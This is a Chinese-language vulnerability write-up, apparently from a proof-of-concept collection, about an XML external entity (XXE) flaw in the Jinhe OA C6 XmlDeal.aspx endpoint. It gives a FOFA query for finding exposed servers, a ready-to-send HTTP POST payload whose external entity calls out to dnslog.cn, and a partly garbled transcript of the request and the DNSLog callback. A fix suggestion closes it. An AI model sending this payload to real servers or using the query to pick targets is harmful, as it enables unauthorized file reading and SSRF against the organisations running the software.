

J1-20金和-OA-XXE

漏洞描述：

和OA C6 XmlDeal.aspx 接口处存在XML实体注入漏洞，攻击者可利用xxe漏洞获取服务器敏感数据，可读取任意文件以及ssrf攻击，存在一定的安全隐患。

影响版本：

- 金和 OA

网络测绘：

fofa语法：

FOFA: app="金和网络-金和OA"

漏洞复现：

payload:

```
POST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://dnslog.cn"> %remote;]]
```

效果图:

nslog验证

Request

1 POST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Content-Type: application/xml

7

8 <!DOCTYPE root: [-<!ENTITY % remote SYSTEM "http://111111.7vdkxo.dnslog.cn">%remote;]]

Responses 0

1 HTTP/

2 Cache

3 Conte

4 Serve

5 Set-C

6 X-Asp

7 Date:

8

9

DNSLog 使用 Yakit 自带的 DNSLog 反连服务

内置 自定义

内置DNSLog: dnslog.cn

使用本地: ☐

生成一个可用域名

当前激活域名为
7vdkxo.dnslog.cn

只看A记录: ☒ 自动刷新记录: ☐

域名	DNS类型	远端IP
+ 111111.7vdkxo.dnslog.cn	A	39.96.

修复建议：

修复金和OA C6的XmlDeal.aspx接口，禁用外部实体解析，以防止XML实体注入（XXE）漏洞，确保服务器数据安全。